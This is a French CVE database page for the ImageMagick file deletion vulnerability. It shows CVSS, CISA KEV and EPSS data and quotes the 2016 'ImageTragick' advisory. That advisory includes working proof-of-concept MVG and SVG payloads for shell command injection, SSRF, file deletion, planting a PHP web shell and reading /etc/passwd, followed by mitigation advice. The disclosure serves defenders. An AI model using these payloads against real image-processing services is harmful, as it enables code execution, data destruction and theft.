CPE, qui signifie Common Platform Enumeration, est un système normalisé de dénomination du matériel, des logiciels et des systèmes d'exploitation. CPE fournit un schéma de dénomination structuré pour identifier et classer de manière unique les systèmes informatiques, les plates-formes et les progiciels sur la base de certains attributs tels que le fournisseur, le nom du produit, la version, la mise à jour, l'édition et la langue.
CWE, ou Common Weakness Enumeration, est une liste complète et une catégorisation des faiblesses et des vulnérabilités des logiciels. Elle sert de langage commun pour décrire les faiblesses de sécurité des logiciels au niveau de l'architecture, de la conception, du code ou de la mise en œuvre, qui peuvent entraîner des vulnérabilités.
CAPEC, qui signifie Common Attack Pattern Enumeration and Classification (énumération et classification des schémas d'attaque communs), est une ressource complète, accessible au public, qui documente les schémas d'attaque communs utilisés par les adversaires dans les cyberattaques. Cette base de connaissances vise à comprendre et à articuler les vulnérabilités communes et les méthodes utilisées par les attaquants pour les exploiter.
Services & Prix
Aides & Infos
Recherche de CVE id, CWE id, CAPEC id, vendeur ou mots clés dans les CVE
Files or Directories Accessible to External Parties The product makes files or directories accessible to unauthorized actors, even though they should not be.
Métriques
Métriques
Score
Gravité
CVSS Vecteur
Source
V3.1
5.5
MEDIUM
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N
More informations
Base: Exploitabilty Metrics
The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.
Attack Vector
This metric reflects the context by which vulnerability exploitation is possible.
Local
The vulnerable component is not bound to the network stack and the attacker’s path is via read/write/execute capabilities.
Attack Complexity
This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.
Low
Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.
Privileges Required
This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.
None
The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction
This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.
Required
Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.
Base: Scope Metrics
The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.
Scope
Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.
Unchanged
An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.
Base: Impact Metrics
The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.
Confidentiality Impact
This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.
None
There is no loss of confidentiality within the impacted component.
Integrity Impact
This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.
High
There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.
Availability Impact
This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.
None
There is no impact to availability within the impacted component.
Temporal Metrics
The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.
Environmental Metrics
These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.
nvd@nist.gov
V2
5.8
AV:N/AC:M/Au:N/C:N/I:P/A:P
nvd@nist.gov
CISA KEV (Vulnérabilités Exploitées Connues)
Nom de la vulnérabilité : ImageMagick Arbitrary File Deletion Vulnerability
Action requise : Apply updates per vendor instructions.
Connu pour être utilisé dans des campagnes de ransomware : Unknown
Ajouter le : 2021-11-02 23h00 +00:00
Action attendue : 2022-05-02 22h00 +00:00
Informations importantes
Ce CVE est identifié comme vulnérable et constitue une menace active, selon le Catalogue des Vulnérabilités Exploitées Connues (CISA KEV). La CISA a répertorié cette vulnérabilité comme étant activement exploitée par des cybercriminels, soulignant ainsi l'importance de prendre des mesures immédiates pour remédier à cette faille. Il est impératif de prioriser la mise à jour et la correction de ce CVE afin de protéger les systèmes contre les potentielles cyberattaques.
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
3.93%
–
–
2022-04-03
–
–
3.93%
–
–
2022-04-17
–
–
3.93%
–
–
2022-11-13
–
–
3.93%
–
–
2022-11-20
–
–
3.93%
–
–
2022-12-11
–
–
3.93%
–
–
2023-01-01
–
–
3.93%
–
–
2023-02-05
–
–
3.93%
–
–
2023-03-12
–
–
–
97.12%
–
2023-04-09
–
–
–
97.06%
–
2023-05-14
–
–
–
97.08%
–
2023-05-21
–
–
–
97.1%
–
2023-08-06
–
–
–
97.13%
–
2024-06-02
–
–
–
97.13%
–
2024-07-28
–
–
–
81.82%
–
2024-12-22
–
–
–
85.67%
–
2025-01-19
–
–
–
85.67%
–
2025-03-18
–
–
–
–
89.76%
2025-03-30
–
–
–
–
89.38%
2025-03-30
–
–
–
–
89.38,%
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Date de publication : 2016-05-03 22h00 +00:00 Auteur : Nikolay Ermishkin EDB Vérifié : No
Nikolay Ermishkin from the Mail.Ru Security Team discovered several
vulnerabilities in ImageMagick.
We've reported these issues to developers of ImageMagick and they made a
fix for RCE in sources and released new version (6.9.3-9 released
2016-04-30 http://legacy.imagemagick.org/script/changelog.php), but this
fix seems to be incomplete. We are still working with developers.
ImageMagick: Multiple vulnerabilities in image decoder
1. CVE-2016-3714 - Insufficient shell characters filtering leads to
(potentially remote) code execution
Insufficient filtering for filename passed to delegate's command allows
remote code execution during conversion of several file formats.
ImageMagick allows to process files with external libraries. This
feature is called 'delegate'. It is implemented as a system() with
command string ('command') from the config file delegates.xml with
actual value for different params (input/output filenames etc). Due to
insufficient %M param filtering it is possible to conduct shell command
injection. One of the default delegate's command is used to handle https
requests:
"wget" -q -O "%o" "https:%M"
where %M is the actual link from the input. It is possible to pass the
value like `https://example.com"|ls "-la` and execute unexpected 'ls
-la'. (wget or curl should be installed)
$ convert 'https://example.com"|ls "-la' out.png
total 32
drwxr-xr-x 6 user group 204 Apr 29 23:08 .
drwxr-xr-x+ 232 user group 7888 Apr 30 10:37 ..
...
The most dangerous part is ImageMagick supports several formats like
svg, mvg (thanks to https://hackerone.com/stewie for his research of
this file format and idea of the local file read vulnerability in
ImageMagick, see below), maybe some others - which allow to include
external files from any supported protocol including delegates. As a
result, any service, which uses ImageMagick to process user supplied
images and uses default delegates.xml / policy.xml, may be vulnerable to
this issue.
exploit.mvg
-=-=-=-=-=-=-=-=-
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|ls "-la)'
pop graphic-context
exploit.svg
-=-=-=-=-=-=-=-=-
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg width="640px" height="480px" version="1.1"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink=
"http://www.w3.org/1999/xlink">
<image xlink:href="https://example.com/image.jpg"|ls "-la"
x="0" y="0" height="640px" width="480px"/>
</svg>
$ convert exploit.mvg out.png
total 32
drwxr-xr-x 6 user group 204 Apr 29 23:08 .
drwxr-xr-x+ 232 user group 7888 Apr 30 10:37 ..
...
ImageMagick tries to guess the type of the file by it's content, so
exploitation doesn't depend on the file extension. You can rename
exploit.mvg to exploit.jpg or exploit.png to bypass file type checks. In
addition, ImageMagick's tool 'identify' is also vulnerable, so it can't
be used as a protection to filter file by it's content and creates
additional attack vectors (e.g. via 'less exploit.jpg', because
'identify' is invoked via lesspipe.sh).
Ubuntu 14.04 and OS X, latest system packages (ImageMagick 6.9.3-7 Q16
x86_64 2016-04-27 and ImageMagick 6.8.6-10 2016-04-29 Q16) and latest
sources from 6 and 7 branches all are vulnerable. Ghostscript and wget
(or curl) should be installed on the system for successful PoC
execution. For svg PoC ImageMagick's svg parser should be used, not rsvg.
All other issues also rely on dangerous ImageMagick feature of external
files inclusion from any supported protocol in formats like svg and mvg.
2. CVE-2016-3718 - SSRF
It is possible to make HTTP GET or FTP request:
ssrf.mvg
-=-=-=-=-=-=-=-=-
push graphic-context
viewbox 0 0 640 480
fill 'url(http://example.com/)'
pop graphic-context
$ convert ssrf.mvg out.png # makes http request to example.com
3. CVE-2016-3715 - File deletion
It is possible to delete files by using ImageMagick's 'ephemeral' pseudo
protocol which deletes files after reading:
delete_file.mvg
-=-=-=-=-=-=-=-=-
push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'ephemeral:/tmp/delete.txt'
popgraphic-context
$ touch /tmp/delete.txt
$ convert delete_file.mvg out.png # deletes /tmp/delete.txt
4. CVE-2016-3716 - File moving
It is possible to move image files to file with any extension in any
folder by using ImageMagick's 'msl' pseudo protocol. msl.txt and
image.gif should exist in known location - /tmp/ for PoC (in real life
it may be web service written in PHP, which allows to upload raw txt
files and process images with ImageMagick):
file_move.mvg
-=-=-=-=-=-=-=-=-
push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'msl:/tmp/msl.txt'
popgraphic-context
/tmp/msl.txt
-=-=-=-=-=-=-=-=-
<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="/tmp/image.gif" />
<write filename="/var/www/shell.php" />
</image>
/tmp/image.gif - image with php shell inside
(https://www.secgeek.net/POC/POC.gif for example)
$ convert file_move.mvg out.png # moves /tmp/image.gif to /var/www/shell.php
5. CVE-2016-3717 - Local file read (independently reported by original
research author - https://hackerone.com/stewie)
It is possible to get content of the files from the server by using
ImageMagick's 'label' pseudo protocol:
file_read.mvg
-=-=-=-=-=-=-=-=-
push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'label:@...c/passwd'
pop graphic-context
$ convert file_read.mvg out.png # produces file with text rendered from
/etc/passwd
How to mitigate the vulnerability.
Available patches appear to be incomplete.
If you use ImageMagick or an affected library, we recommend you mitigate
the known vulnerabilities by doing at least one these two things (but
preferably both!):
1. Verify that all image files begin with the expected �magic bytes�
corresponding to the image file types you support before sending them to
ImageMagick for processing. (see FAQ for more info)
2. Use a policy file to disable the vulnerable ImageMagick coders. The
global policy for ImageMagick is usually found in �/etc/ImageMagick�.
This policy.xml example will disable the coders EPHEMERAL, URL, MVG, and
MSL:
<policymap>
<policy domain="coder" rights="none" pattern="EPHEMERAL" />
<policy domain="coder" rights="none" pattern="URL" />
<policy domain="coder" rights="none" pattern="HTTPS" />
<policy domain="coder" rights="none" pattern="MVG" />
<policy domain="coder" rights="none" pattern="MSL" />
</policymap>
Vulnerability Disclosure Timeline:
April, 21 2016 - file read vulnerability report for one of My.Com
services from https://hackerone.com/stewie received by Mail.Ru Security
Team. Issue is reportedly known to ImageMagic team.
April, 21 2016 - file read vulnerability patched by My.Com development team
April, 28 2016 - code execution vulnerability in ImageMagick was found
by Nikolay Ermishkin from Mail.Ru Security Team while researching
original report
April, 30 2016 - code execution vulnerability reported to ImageMagick
development team
April, 30 2016 - code execution vulnerability fixed by ImageMagick
(incomplete fix)
April, 30 2016 - fixed ImageMagic version 6.9.3-9 published (incomplete fix)
May, 1 2016 - ImageMagic informed of the fix bypass
May, 2 2016 - limited disclosure to 'distros' mailing list
May, 3 2016 - public disclosure at https://imagetragick.com/